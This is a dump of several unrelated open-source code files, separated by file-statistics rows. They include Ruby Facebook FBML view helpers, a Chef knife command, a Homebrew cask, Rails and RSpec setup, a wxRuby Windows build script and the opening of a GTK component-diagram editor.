# Hey you haven't agreed to our terms. <%= link_to("Please accept our terms of service.", :action => "terms_of_service") %>
# <% end %>
#<% end %>
def fb_if_is_app_user(user=nil,options={},&proc)
content = capture(&proc)
options = options.dup
options.merge!(:uid=>cast_to_facebook_id(user)) if user
if ignore_binding?
concat(content_tag("fb:if-is-app-user",content,stringify_vals(options)))
else
concat(content_tag("fb:if-is-app-user",content,stringify_vals(options)),proc.binding)
end
end
# Render if-user-has-added-app tag
# This tag renders the enclosing content only if the user specified has installed the application
#
# Example:
# <% fb_if_user_has_added_app(@facebook_user) do %>
# Hey you are an app user!
# <% fb_else do %>
# Hey you aren't an app user. <%= link_to("Add App and see the other side.", :action => "added_app") %>
# <% end %>
#<% end %>
def fb_if_user_has_added_app(user,options={},&proc)
content = capture(&proc)
options = options.dup
if ignore_binding?
concat(content_tag("fb:if-user-has-added-app", content, stringify_vals(options.merge(:uid=>cast_to_facebook_id(user)))))
else
concat(content_tag("fb:if-user-has-added-app", content, stringify_vals(options.merge(:uid=>cast_to_facebook_id(user)))),proc.binding)
end
end
# Render fb:if-is-user tag
# This tag only renders enclosing content if the user is one of those specified
# user can be a single user or an Array of users
# Example:
# <% fb_if_is_user(@check_user) do %>
# <%= fb_name(@facebook_user) %> are one of the users. <%= link_to("Check the other side", :action => "friend") %>
# <% fb_else do %>
# <%= fb_name(@facebook_user) %> are not one of the users <%= fb_name(@check_user) %>
# <%= link_to("Check the other side", :action => "you") %>
# <% end %>
# <% end %>
def fb_if_is_user(user,&proc)
content = capture(&proc)
user = [user] unless user.is_a? Array
user_list=user.map{|u| cast_to_facebook_id(u)}.join(",")
if ignore_binding?
concat(content_tag("fb:if-is-user",content,{:uid=>user_list}))
else
concat(content_tag("fb:if-is-user",content,{:uid=>user_list}),proc.binding)
end
end
# Render fb:else tag
# Must be used within if block such as fb_if_is_user or fb_if_is_app_user . See example in fb_if_is_app_user
def fb_else(&proc)
content = capture(&proc)
if ignore_binding?
concat(content_tag("fb:else",content))
else
concat(content_tag("fb:else",content),proc.binding)
end
end
#
# Return the URL for the about page of the application
def fb_about_url
"http://#{Facebooker.www_server_base_url}/apps/application.php?api_key=#{Facebooker.api_key}"
end
#
# Embed a discussion board named xid on the current page
# <em>See</em http://wiki.developers.facebook.com/index.php/Fb:board for more details
# Options are:
# * canpost
# * candelete
# * canmark
# * cancreatet
# * numtopics
# * callbackurl
# * returnurl
#
def fb_board(xid,options={})
options = options.dup
title = (title = options.delete(:title)) ? fb_title(title) : nil
content_tag("fb:board", title, stringify_vals(options.merge(:xid=>xid)))
end
# Renders an 'Add to Profile' button
# The button allows a user to add condensed profile box to the main profile
def fb_add_profile_section
tag "fb:add-section-button",:section=>"profile"
end
# Renders an 'Add to Info' button
# The button allows a user to add an application info section to her Info tab
def fb_add_info_section
tag "fb:add-section-button",:section=>"info"
end
# Renders a link that, when clicked, initiates a dialog requesting the specified extended permission from the user.
#
# You can prompt a user with the following permissions:
# * email
# * read_stream
# * publish_stream
# * offline_access
# * status_update
# * photo_upload
# * create_event
# * rsvp_event
# * sms
# * video_upload
# * create_note
# * share_item
# Example:
# <%= fb_prompt_permission('email', "Would you like to receive email from our application?" ) %>
#
# See http://wiki.developers.facebook.com/index.php/Fb:prompt-permission for
# more details. Correct as of 7th June 2009.
#
def fb_prompt_permission(permission,message,callback=nil)
raise(ArgumentError, "Unknown value for permission: #{permission}") unless VALID_PERMISSIONS.include?(permission.to_sym)
args={:perms=>permission}
args[:next_fbjs]=callback unless callback.nil?
content_tag("fb:prompt-permission",message,args)
end
# Renders a link to prompt for multiple permissions at once.
#
# Example:
# <%= fb_prompt_permissions(['email','offline_access','status_update'], 'Would you like to grant some permissions?')
def fb_prompt_permissions(permissions,message,callback=nil)
permissions.each do |p|
raise(ArgumentError, "Unknown value for permission: #{p}") unless VALID_PERMISSIONS.include?(p.to_sym)
end
args={:perms=>permissions*','}
args[:next_fbjs]=callback unless callback.nil?
content_tag("fb:prompt-permission",message,args)
end
# Renders an <fb:eventlink /> tag that displays the event name and links to the event's page.
def fb_eventlink(eid)
content_tag "fb:eventlink",nil,:eid=>eid
end
# Renders an <fb:grouplink /> tag that displays the group name and links to the group's page.
def fb_grouplink(gid)
content_tag "fb:grouplink",nil,:gid=>gid
end
# Returns the status of the user
def fb_user_status(user,linked=true)
content_tag "fb:user-status",nil,stringify_vals(:uid=>cast_to_facebook_id(user), :linked=>linked)
end
# Renders a standard 'Share' button for the specified URL.
def fb_share_button(url)
content_tag "fb:share-button",nil,:class=>"url",:href=>url
end
# Renders the FBML on a Facebook server inside an iframe.
#
# Meant to be used for a Facebook Connect site or an iframe application
def fb_serverfbml(options={},&proc)
inner = capture(&proc)
concat(content_tag("fb:serverfbml",inner,options),&proc.binding)
end
def fb_container(options={},&proc)
inner = capture(&proc)
concat(content_tag("fb:container",inner,options),&proc.binding)
end
# Renders an fb:time element
#
# Example:
# <%= fb_time(Time.now, :tz => 'America/New York', :preposition => true) %>
#
# See http://wiki.developers.facebook.com/index.php/Fb:time for
# more details
def fb_time(time, options={})
tag "fb:time",stringify_vals({:t => time.to_i}.merge(options))
end
# Renders a fb:intl element
#
# Example:
# <%= fb_intl('Age', :desc => 'Label for the age form field', :delimiters => '[]') %>
#
# See http://wiki.developers.facebook.com/index.php/Fb:intl for
# more details
def fb_intl(text=nil, options={}, &proc)
raise ArgumentError, "Missing block or text" unless block_given? or text
content = block_given? ? capture(&proc) : text
content_tag("fb:intl", content, stringify_vals(options))
end
# Renders a fb:intl-token element
#
# Example:
# <%= fb_intl-token('number', 5) %>
#
# See http://wiki.developers.facebook.com/index.php/Fb:intl-token for
# more details
def fb_intl_token(name, text=nil, &proc)
raise ArgumentError, "Missing block or text" unless block_given? or text
content = block_given? ? capture(&proc) : text
content_tag("fb:intl-token", content, stringify_vals({:name => name}))
end
# Renders a fb:date element
#
# Example:
# <%= fb_date(Time.now, :format => 'verbose', :tz => 'America/New York') %>
#
# See http://wiki.developers.facebook.com/index.php/Fb:date for
# more details
def fb_date(time, options={})
tag "fb:date", stringify_vals({:t => time.to_i}.merge(options))
end
# Renders a fb:fbml-attribute element
#
# Example:
# <%= fb_fbml_attribute('title', Education) %>
#
# The options hash is passed to the fb:intl element that is generated inside this element
# and can have the keys available for the fb:intl element.
#
# See http://wiki.developers.facebook.com/index.php/Fb:fbml-attribute for
# more details
def fb_fbml_attribute(name, text, options={})
content_tag("fb:fbml-attribute", fb_intl(text, options), stringify_vals({:name => name}))
end
protected
def cast_to_facebook_id(object)
Facebooker::User.cast_to_facebook_id(object)
end
def validate_fb_profile_pic_size(options)
if options.has_key?(:size) && !VALID_FB_PROFILE_PIC_SIZES.include?(options[:size].to_sym)
raise(ArgumentError, "Unknown value for size: #{options[:size]}")
end
end
def validate_fb_photo_size(options)
if options.has_key?(:size) && !VALID_FB_PHOTO_SIZES.include?(options[:size].to_sym)
raise(ArgumentError, "Unknown value for size: #{options[:size]}")
end
end
private
def stringify_vals(hash)
result={}
hash.each do |key,value|
result[key]=value.to_s
end
result
end
def fb_status_msg(type, message, text)
if text.blank?
tag("fb:#{type}", :message => message)
else
content_tag("fb:#{type}", content_tag("fb:message", message) + text)
end
end
def token_tag
unless protect_against_forgery?
''
else
tag(:input, :type => "hidden", :name => request_forgery_protection_token.to_s, :value => form_authenticity_token)
end
end
def ignore_binding?
ActionPack::VERSION::MAJOR >= 2 && ActionPack::VERSION::MINOR >= 2
end
end
end
end
class Hash
def transform_keys!(transformation_hash)
transformation_hash.each_pair{|key, value| transform_key!(key, value)}
end
def transform_key!(old_key, new_key)
swapkey!(new_key, old_key)
end
### This method is lifted from Ruby Facets core
def swapkey!( newkey, oldkey )
self[newkey] = self.delete(oldkey) if self.has_key?(oldkey)
self
end
# We can allow css attributes.
FB_ALWAYS_VALID_OPTION_KEYS = [:class, :style]
def assert_valid_keys(*valid_keys)
unknown_keys = keys - [valid_keys + FB_ALWAYS_VALID_OPTION_KEYS].flatten
raise(ArgumentError, "Unknown key(s): #{unknown_keys.join(", ")}") unless unknown_keys.empty?
end
end
| 40.660508 | 150 | 0.615642 |
26818eef661fa3236e879193cf62ecdcfc82f54e | 2,079 | #
# Author:: Stephen Delano (<[email protected]>)
# Author:: Tim Hinderliter (<[email protected]>)
# Copyright:: Copyright 2010-2016, Chef Software Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require "chef/knife"
class Chef
class Knife
class CookbookSiteUnshare < Knife
deps do
require "chef/json_compat"
end
banner "knife cookbook site unshare COOKBOOK"
category "cookbook site"
option :supermarket_site,
:short => "-m SUPERMARKET_SITE",
:long => "--supermarket-site SUPERMARKET_SITE",
:description => "Supermarket Site",
:default => "https://supermarket.chef.io",
:proc => Proc.new { |supermarket| Chef::Config[:knife][:supermarket_site] = supermarket }
def run
@cookbook_name = @name_args[0]
if @cookbook_name.nil?
show_usage
ui.fatal "You must provide the name of the cookbook to unshare"
exit 1
end
confirm "Do you really want to unshare all versions of the cookbook #{@cookbook_name}"
begin
rest.delete "#{config[:supermarket_site]}/api/v1/cookbooks/#{@name_args[0]}"
rescue Net::HTTPServerException => e
raise e unless e.message =~ /Forbidden/
ui.error "Forbidden: You must be the maintainer of #{@cookbook_name} to unshare it."
exit 1
end
ui.info "Unshared all versions of the cookbook #{@cookbook_name}"
end
end
end
end
| 32.484375 | 98 | 0.642136 |
38753ba4137841ef32e2278b57e1cd713bc2cd96 | 571 | cask 'vox' do
version '2730.1,1455479596'
sha256 '73afdc0f72a00b1b3721ace45acff7302ed79f08b593d61eb51f9a8823b4d6f2'
# devmate.com is the official download host per the vendor homepage
url "https://dl.devmate.com/com.coppertino.Vox/#{version.before_comma}/#{version.after_comma}/Vox-#{version.before_comma}.zip"
appcast 'https://updates.devmate.com/com.coppertino.Vox.xml',
checkpoint: '39d7ec5c7457df033c2bc8862f31c83d3fddf4f51ca4e4b9778f3fd9a471164e'
name 'VOX'
homepage 'https://coppertino.com/vox/mac'
license :freemium
app 'Vox.app'
end
| 38.066667 | 128 | 0.774081 |
edd435c4117a798c8c6b932ce3910ab2c8c33129 | 845 | require 'rails/generators'
require 'rails/generators/migration'
module Templateable
module Generators
class InstallGenerator < ::Rails::Generators::Base
include Rails::Generators::Migration
source_root File.expand_path('../templates', __FILE__)
desc "Add the migrations for DoubleDouble"
def self.next_migration_number(path)
next_migration_number = current_migration_number(path) + 1
ActiveRecord::Migration.next_migration_number(next_migration_number)
end
def copy_migrations
mig_list = ['object_field_associations', 'object_field_instances', 'object_field_options', 'object_fields']
mig_list.each do |mig_name|
migration_template "create_#{mig_name}.rb",
"db/migrate/create_#{mig_name}.rb"
end
end
end
end
end | 33.8 | 115 | 0.695858 |
e9bb6f79abf3c1f98f85e8b3fb39513ce317fe26 | 888 | # mundi_api
#
# This file was automatically generated by APIMATIC v2.0 (
# https://apimatic.io ).
module MundiApi
# Request for creating a new Access Token
class CreateAccessTokenRequest < BaseModel
# Minutes to expire the token
# @return [Integer]
attr_accessor :expires_in
# A mapping from model property names to API property names.
def self.names
@_hash = {} if @_hash.nil?
@_hash['expires_in'] = 'expires_in'
@_hash
end
def initialize(expires_in = nil)
@expires_in = expires_in
end
# Creates an instance of the object from a hash.
def self.from_hash(hash)
return nil unless hash
# Extract variables from the hash.
expires_in = hash['expires_in']
# Create object from extracted values.
CreateAccessTokenRequest.new(expires_in)
end
end
end
| 24.666667 | 65 | 0.647523 |
034273bbe0c2d7736b4ccc80f5e15a65c7b24cfb | 1,069 | describe AnsibleTowerClient::WorkflowJobTemplateNode do
let(:url) { "example.com/api/v1/workflow_job_template_nodes" }
let(:api) { AnsibleTowerClient::Api.new(AnsibleTowerClient::MockApi.new("1.1")) }
let(:raw_instance) { build(:response_instance, :workflow_job_template_node, :klass => described_class) }
include_examples "Api Methods"
context "#initialize" do
it "#initialize instantiates an #{described_class} from a hash" do
obj = api.workflow_job_template_nodes.all.first
expect(obj).to be_a described_class
expect(obj.id).to be_a Integer
expect(obj.workflow_job_template_id).to be_a Integer
expect(obj.unified_job_template_id).to be_a Integer
expect(obj.success_nodes_id).to be_a Array
expect(obj.failure_nodes_id).to be_a Array
expect(obj.always_nodes_id).to be_a Array
expect(obj.related).to be_a described_class::Related
end
end
end
| 46.478261 | 120 | 0.640786 |
1de44dc17740c3f5cca97c28f9ffd9504f602518 | 404 | class UnreadEntryDeleterScheduler
include Sidekiq::Worker
sidekiq_options queue: :worker_slow
def perform
User.select(:id).find_in_batches(batch_size: 10_000) do |users|
Sidekiq::Client.push_bulk(
'args' => users.map{ |user| user.attributes.values },
'class' => 'UnreadEntryDeleter',
'queue' => 'worker_slow',
'retry' => false
)
end
end
end
| 23.764706 | 67 | 0.641089 |
1ca1934a63825513d66bf179c2d28b0349ffc0d1 | 4,952 | # rakemswin.rb
# Copyright 2004-2008 by wxRuby development team
# Released under the MIT-style wxruby2 license
# Compiling on Windows with Microsoft compiler - this is currently set
# up to support VS2005 (version 8.0 of the runtime)
# First, common Windows settings (shared with MingW)
require './rake/rakewindows'
# The name of the compiler and linker
$cpp = "cl.exe"
$ld = "link"
$cpp_out_flag = "/Fo"
$link_output_flag = "/dll /out:"
# Only static build is currently allowed on Windows; TODO
if $dynamic_build
raise "Dynamically-linked build is not allowed on Windows, use static"
else
$static_build = true
end
# Variants within wxWidgets directory layout are identified by these tags
$WXVERSION = '28'
$DEBUGPOSTFIX = $debug_build ? 'd' : ''
$UNICODEPOSTFIX = $unicode_build ? 'u' : ''
$POSTFIX = $UNICODEPOSTFIX + $DEBUGPOSTFIX
# Some secondary directories in the wxWidgets layout
$WXINCDIR = File.join("#$WXDIR", "include")
$WXLIBDIR = File.join("#$WXDIR", "lib", "vc_lib")
$WXSETUPINCDIR = File.join("#$WXDIR", "lib", "vc_lib", "msw#{$POSTFIX}")
WXWIDGETS_SETUP_H = File.join($WXSETUPINCDIR, 'wx', 'setup.h')
# wxWidgets libraries that should be linked into wxRuby
# odbc and db_table not required by wxruby
windows_libs = %W|wxbase#{$WXVERSION}#{$POSTFIX}
wxbase#{$WXVERSION}#{$POSTFIX}_net
wxbase#{$WXVERSION}#{$POSTFIX}_xml
wxmsw#{$WXVERSION}#{$POSTFIX}_adv
wxmsw#{$WXVERSION}#{$POSTFIX}_core
wxmsw#{$WXVERSION}#{$POSTFIX}_html
wxmsw#{$WXVERSION}#{$POSTFIX}_media
wxmsw#{$WXVERSION}#{$POSTFIX}_xrc
wxmsw#{$WXVERSION}#{$POSTFIX}_aui
wxmsw#{$WXVERSION}#{$POSTFIX}_richtext
wxexpat#{$DEBUGPOSTFIX}
wxjpeg#{$DEBUGPOSTFIX}
wxpng#{$DEBUGPOSTFIX}
wxtiff#{$DEBUGPOSTFIX}
wxzlib#{$DEBUGPOSTFIX}
wxregex#{$POSTFIX}|
windows_libs.map! { | lib | File.join($WXLIBDIR, "#{lib}.lib") }
# Windows-specific routines for checking for supported features
# Test for presence of StyledTextCtrl (scintilla) library; link it in if
# present, skip that class if not
scintilla_lib = File.join( $WXLIBDIR,
"wxmsw#{$WXVERSION}#{$POSTFIX}_stc.lib" )
if File.exists?(scintilla_lib)
windows_libs << scintilla_lib
else
WxRubyFeatureInfo.exclude_class('StyledTextCtrl')
WxRubyFeatureInfo.exclude_class('StyledTextEvent')
end
# Test for presence of OpenGL library; link it in if
# present, skip that class if not
gl_lib = File.join( $WXLIBDIR, "wxmsw#{$WXVERSION}#{$POSTFIX}_gl.lib" )
if File.exists?(gl_lib)
windows_libs << gl_lib
else
WxRubyFeatureInfo.exclude_class('GLCanvas')
WxRubyFeatureInfo.exclude_class('GLContext')
end
# Glue them all together into an argument passed to the linker
$wx_libs = windows_libs.join(' ')
$wx_cppflags = "-I#{$WXINCDIR} -D__WXMSW__ -I#{$WXSETUPINCDIR}"
$extra_cppflags = %W[ /GR /EHsc -DSTRICT -DWIN32 -D__WIN32__ -DWINVER=0x0400
-D_WINDOWS /D__WINDOWS__ /D__WIN95__].join(' ')
if $debug_build
$ruby_cppflags.gsub!(/-MD/," /MDd");
$ruby_cppflags.gsub!(/-O[A-Za-z0-9-]*/, "/Od")
$ruby_cppflags += " -Zi -D_DEBUG -D__WXDEBUG__ -DWXDEBUG=1 "
$extra_ldflags += "/DEBUG"
else
$ruby_cppflags += " -DNDEBUG "
end
if $unicode_build
$wx_cppflags += " -D_UNICODE -DUNICODE"
end
# Extra files for the linker - WINDOWS_SYS_LIBS are common in rakewindows.rb
lib_ruby = File.join(Config::CONFIG['libdir'], Config::CONFIG['LIBRUBY'])
$extra_libs = WINDOWS_SYS_LIBS.map { | lib | "#{lib}.lib" }.join(" ")
$extra_libs << " #{lib_ruby}"
$extra_objs = "swig/wx.res"
rule('.res' => '.rc') do | t |
sh("rc -I#$WXINC #{t.prerequisites}")
end
def find_in_path(basename)
ENV['PATH'].split(';').each do | path |
maybe = File.join(path, basename)
return maybe if File.exists?(maybe)
end
raise "Cannot find #{basename} in PATH"
end
# Redistribute and install VC8 runtime - not recommended
directory 'temp'
file 'temp' do
cp 'lib/wxruby2.so.manifest', 'temp'
cp find_in_path('msvcp80.dll'), 'temp'
cp find_in_path('msvcr80.dll'), 'temp'
File.open('temp/Rakefile', 'w') do | f |
f.puts <<TEMP_RAKEFILE
# This is a temporary rakefile to install the Microsoft v8 runtime
require 'rbconfig'
task :default do
mv 'msvcp80.dll', Config::CONFIG['bindir']
mv 'msvcr80.dll', Config::CONFIG['bindir']
ruby_manifest = File.join(Config::CONFIG['bindir'], 'ruby.exe.manifest')
if File.exists? ruby_manifest
mv ruby_manifest, ruby_manifest + ".old"
end
cp 'wxruby2.so.manifest', ruby_manifest
rubyw_manifest = File.join(Config::CONFIG['bindir'], 'rubyw.exe.manifest')
if File.exists? rubyw_manifest
mv rubyw_manifest, rubyw_manifest + ".old"
end
cp 'wxruby2.so.manifest', rubyw_manifest
end
TEMP_RAKEFILE
end
end
| 33.234899 | 76 | 0.668215 |
e2f680454af855b736234f4c82d0fc21b254043c | 3,023 | # This file is copied to spec/ when you run 'rails generate rspec:install'
require 'spec_helper'
ENV['RAILS_ENV'] ||= 'test'
require File.expand_path('../config/environment', __dir__)
# Prevent database truncation if the environment is production
if Rails.env.production?
abort('The Rails environment is running in production mode!')
end
require 'rspec/rails'
# Add additional requires below this line. Rails is not loaded until this point!
# Requires supporting ruby files with custom matchers and macros, etc, in
# spec/support/ and its subdirectories. Files matching `spec/**/*_spec.rb` are
# run as spec files by default. This means that files in spec/support that end
# in _spec.rb will both be required and run as specs, causing the specs to be
# run twice. It is recommended that you do not name files matching this glob to
# end with _spec.rb. You can configure this pattern with the --pattern
# option on the command line or in ~/.rspec, .rspec or `.rspec-local`.
#
# The following line is provided for convenience purposes. It has the downside
# of increasing the boot-up time by auto-requiring all files in the support
# directory. Alternatively, in the individual `*_spec.rb` files, manually
# require only the support files necessary.
#
# Dir[Rails.root.join('spec', 'support', '**', '*.rb')].sort.each { |f| require f }
# Checks for pending migrations and applies them before tests are run.
# If you are not using ActiveRecord, you can remove these lines.
begin
ActiveRecord::Migration.maintain_test_schema!
rescue ActiveRecord::PendingMigrationError => e
puts e.to_s.strip
exit 1
end
RSpec.configure do |config|
# Remove this line if you're not using ActiveRecord or ActiveRecord fixtures
config.fixture_path = "#{::Rails.root}/spec/fixtures"
# If you're not using ActiveRecord, or you'd prefer not to run each of your
# examples within a transaction, remove the following line or assign false
# instead of true.
config.use_transactional_fixtures = true
# You can uncomment this line to turn off ActiveRecord support entirely.
# config.use_active_record = false
# RSpec Rails can automatically mix in different behaviours to your tests
# based on their file location, for example enabling you to call `get` and
# `post` in specs under `spec/controllers`.
#
# You can disable this behaviour by removing the line below, and instead
# explicitly tag your specs with their type, e.g.:
#
# RSpec.describe UsersController, type: :controller do
# # ...
# end
#
# The different available types are documented in the features, such as in
# https://relishapp.com/rspec/rspec-rails/docs
config.infer_spec_type_from_file_location!
# Filter lines from Rails gems in backtraces.
config.filter_rails_from_backtrace!
# arbitrary gems may also be filtered via:
# config.filter_gems_from_backtrace("gem name")
config.include Devise::Test::ControllerHelpers, type: :controller
config.include Devise::Test::ControllerHelpers, type: :view
end
| 42.577465 | 83 | 0.751571 |
39ac8368c94e4eee020fb8ddb181abea7a802ebf | 44,044 | # -*- coding: utf-8 -*-
=begin
TECSCDE - TECS Component Diagram Editor
Copyright (C) 2014-2015 by TOPPERS Project
The above copyright holders grant permission gratis to use,
duplicate, modify, or redistribute (hereafter called use) this
software (including the one made by modifying this software),
provided that the following four conditions (1) through (4) are
satisfied.
(1) When this software is used in the form of source code, the above
copyright notice, this use conditions, and the disclaimer shown
below must be retained in the source code without modification.
(2) When this software is redistributed in the forms usable for the
development of other software, such as in library form, the above
copyright notice, this use conditions, and the disclaimer shown
below must be shown without modification in the document provided
with the redistributed software, such as the user manual.
(3) When this software is redistributed in the forms unusable for the
development of other software, such as the case when the software
is embedded in a piece of equipment, either of the following two
conditions must be satisfied:
(a) The above copyright notice, this use conditions, and the
disclaimer shown below must be shown without modification in
the document provided with the redistributed software, such as
the user manual.
(b) How the software is to be redistributed must be reported to the
TOPPERS Project according to the procedure described
separately.
(4) The above copyright holders and the TOPPERS Project are exempt
from responsibility for any type of damage directly or indirectly
caused from the use of this software and are indemnified by any
users or end users of this software from any and all causes of
action whatsoever.
THIS SOFTWARE IS PROVIDED "AS IS." THE ABOVE COPYRIGHT HOLDERS AND
THE TOPPERS PROJECT DISCLAIM ANY EXPRESS OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, ITS APPLICABILITY TO A PARTICULAR
PURPOSE. IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS AND THE
TOPPERS PROJECT BE LIABLE FOR ANY TYPE OF DAMAGE DIRECTLY OR
INDIRECTLY CAUSED FROM THE USE OF THIS SOFTWARE.
$Id: tview.rb 2640 2017-06-03 11:27:12Z okuma-top $
=end
=begin
(1) structure of MainWindow
+- @mainWindow::Window---------------------+
|+-@vbox::VBox(1/2)-----------------------+|
||+-- @scrolledWindow::ScrolledWindow---+ ||
||| +---------------------------------+ | ||
||| | @canvas::Canvas | | ||
||| | | | ||
||| | | | ||
||| | | | ||
||| | | | ||
||| | | | ||
||| | | | ||
||| | | | ||
||| +---------------------------------+ | ||
||+-------------------------------------+ ||
|+-@vbox::VBox(2/2)-----------------------+|
|| <--HScale--> ||
|+----------------------------------------+|
+------------------------------------------+
@canvas::Canvas (<DrawingArea)
紙の大きさを持つ、描画エリア
大きさ (dots) = PaperHeight(mm) * dpi / 25.4 * Scale
A4L=270*180 (Papersize=297*197)
(2) canvasPixmap
+---------------------------------+
| @canvasPixmap::Pixmap |
| |
| |
| |
| |
| |
| |
| |
+---------------------------------+
@canvasPixmap is invisible.
draw contents on @canvasPixmap then copy on @canvas, to avoid flickers and to redraw fast on expose.
=end
module TECSCDE
DPI = 96.0 # Dot per Inch
# DPI = 72.0 # Dot per Inch
ScaleHeight = 50 # Height of HScale widget
Scale = 1.0 # Scale initial value
ScaleValIni = Scale * 100 # 100%
ScaleValMax = ScaleValIni * 2.00 # 200%
ScaleValMin = ScaleValIni * 0.05 # 5%
Triangle_Len = 3 # edge length(mm)
Triangle_Height = 2.598 # height (mm)
#----- draw text argment value -----#
# object
CELL_NAME = 1
CELLTYPE_NAME = 2
CELL_NAME_L = 3
SIGNATURE_NAME = 4
PORT_NAME = 5
PAPER_COMMENT = 6
# text alignment
ALIGN_CENTER = Pango::Layout::ALIGN_CENTER
ALIGN_LEFT = Pango::Layout::ALIGN_LEFT
ALIGN_RIGHT = Pango::Layout::ALIGN_RIGHT
# text direction
TEXT_HORIZONTAL = 1 # left to right
TEXT_VERTICAL = 2 # bottom to top
#----- Cursor for mouse pointer -----#
CURSOR_PORT = Gdk::Cursor.new Gdk::Cursor::SB_LEFT_ARROW
CURSOR_JOINING = Gdk::Cursor.new Gdk::Cursor::DOT
CURSOR_JOIN_OK = Gdk::Cursor.new Gdk::Cursor::CIRCLE
CURSOR_NORMAL = Gdk::Cursor.new Gdk::Cursor::TOP_LEFT_ARROW
GapActive = 1 # (mm) gap of active cell between inner rectangle and outer one
GapPort = 0.8 # (mm) gap between port name & edge
#----- Paper -----#
PAPER_MARGIN = 10 # (mm)
#----- constnts for divString -----#
Char_A = "A"[0]
Char_Z = "Z"[0]
Char__ = "_"[0]
#----- Color -----#
Color_editable_cell = :gray97
Color_uneditable = :blue
Color_editable = :black
Color_hilite = :magenta
Color_incomplete = :red
Color_unjoin = :magenta
# color names are found in setup_colormap
#=== Canvas class
# This 'canvas' is for TECSCDE. not relate to Gtk::Canvas.
class Canvas < Gtk::DrawingArea
end
#== MainView class
class MainView
#@mainWindow::Gtk::Window
#@mainWindowHeight::Integer
#@mainWindowWidth::Integer
#@vbox::VBox
#@canvas_height::Integer
#@canvas_width::Integer
#@canvas::Canvas
#@canvasPixmap::Gtk::Pixmap
#@gdkWindow::Gdk::Window GDK window of @canvas
#@drawTarget::Gtk::Pixmap | Gdk::Window : @canvasPixmap or @gdkWindow
#@canvasGc::Gdk::GC
#@model::Model
#@hScale::HScale
#@scale_val::Integer
#@control::Control
#@pango_context::Gdk::Pango.context
#@pango_layout::Pango::Layout
#@pango_matrix::Pango::Matrix
#colors
@@colors = nil
@@colormap = nil
def initialize( model, control )
@model = model
@control = control
@paper = :A3L
@b_emphasize_cell_name = false
@b_color_by_region = false
MainView.setup_colormap
@mainWindow = Gtk::Window::new(Gtk::Window::TOPLEVEL)
@mainWindowWidth = width = 900
@mainWindowHeight = height = 600
@mainWindow.title = "TECSCDE - TECS Component Diagram Editor"
@mainWindow.set_default_size(width, height)
@mainWindow.sensitive = true
@mainWindow.signal_connect( "delete-event" ){ |window, *args|
dbgPrint "delete" + args.to_s + "\n"
Gtk.main_quit
}
# KEY-PRESS event action
@mainWindow.signal_connect("key-press-event"){|win,event|
if @entryWin.visible?
# while cell name editing, send forward to Entry window
event.set_window @entryWin.window
event.put
else
@control.key_pressed( event.keyval & 0xff, event.state )
end
}
@mainWindow.signal_connect("focus-in-event"){|win,event|
# p "event:#{event.class} in"
}
@mainWindow.signal_connect("focus-out-event"){|win,event|
# p "event:#{event.class} out"
}
@mainWindow.signal_connect("grab-broken-event"){|win,event|
# p "event:#{event.class}"
}
@mainWindow.signal_connect("grab-focus"){|win|
# p "event:grab-focus"
}
@mainWindow.signal_connect("grab-notify"){|win, arg1|
# p "event:grab-notify"
}
createHScale
createHBox
@vbox = Gtk::VBox.new
# @vbox.set_resize_mode Gtk::RESIZE_IMMEDIATE
#p @vbox.resize_mode
@mainWindow.add @vbox
@scrolledWindow = Gtk::ScrolledWindow.new
# @scrolledWindow.signal_connect("expose_event") { |win, evt|
# gdkWin = @scrolledWindow.window
# gc = Gdk::GC.new gdkWin
# gdkWin.draw_rectangle( gc, true, 0, 0, 10000, 10000 )
# }
@vbox.pack_start @scrolledWindow
@vbox.pack_end @hbox, false # expand = false
createCanvas
@scrolledWindow.set_size_request( width, height - ScaleHeight )
@mainWindow.show_all
create_edit_window
end
def get_window
@mainWindow
end
#------ CANVAS ------#
#=== create canvas
def createCanvas
@canvas = Canvas.new( )
resize_canvas
dbgPrint( "canvas width=#{@canvas_width}, height=#{@canvas_height}\n" )
# BUTTON PRESS event action
@canvas.signal_connect( "button-press-event" ){ |canvas, event| # canvas = @canvas
dbgPrint "pressed" + event.to_s + "\n"
xd, yd = event.coords
xm = dot2mm xd
ym = dot2mm yd
case event.event_type
when Gdk::Event::BUTTON_PRESS # single click or before ddouble, triple click
click_count = 1
when Gdk::Event::BUTTON2_PRESS # double click
click_count = 2
when Gdk::Event::BUTTON3_PRESS # triple click
click_count = 3
else
click_count = 1
end
@control.pressed_on_canvas xm, ym, event.state, event.button, event.time, click_count
}
# BUTTON RELEASE event action
@canvas.signal_connect( "button-release-event" ){ |canvas, event|
dbgPrint "released" + event.to_s + "\n"
xd, yd = event.coords
xm = dot2mm xd
ym = dot2mm yd
@control.released_on_canvas xm, ym, event.state, event.button
}
# MOTION event action
@canvas.signal_connect( "motion-notify-event" ){ |canvas, event|
dbgPrint "motion" + event.to_s + "\n"
xd, yd = event.coords
xm = dot2mm xd
ym = dot2mm yd
@control.motion_on_canvas xm, ym, event.state
}
# EXPOSE event action
@canvas.signal_connect("expose_event") { |win, evt|
refresh_canvas
}
# add events to receive
@canvas.add_events( Gdk::Event::POINTER_MOTION_MASK |
Gdk::Event::BUTTON_PRESS_MASK |
Gdk::Event::BUTTON_RELEASE_MASK |
Gdk::Event::PROPERTY_CHANGE_MASK |
Gdk::Event::KEY_PRESS_MASK )
@scrolledWindow.add_with_viewport @canvas
# it seems that gdkWindow is nil before window.show or realize
@canvas.realize
@gdkWindow = @canvas.window
@canvasGc = Gdk::GC.new @gdkWindow
# prepare pixmap (buffer for canvas)
# pixmap cannot be resized, so we have the largest one at initial.
@canvasPixmap = Gdk::Pixmap.new( @gdkWindow,
@canvas_width * ScaleValMax / ScaleValIni,
@canvas_height * ScaleValMax / ScaleValIni,
@gdkWindow.depth )
# @drawTarget = @canvasPixmap
@cairo_context_pixmap = @canvasPixmap.create_cairo_context
@cairo_context_pixmap.save
# @cairo_context_win = @gdkWindow.create_cairo_context
# @cairo_context_win.save
@cairo_context_target = @cairo_context_pixmap
@cairo_matrix = MyCairoMatrix.new
# prepare text renderer
@pango_context = Gdk::Pango.context
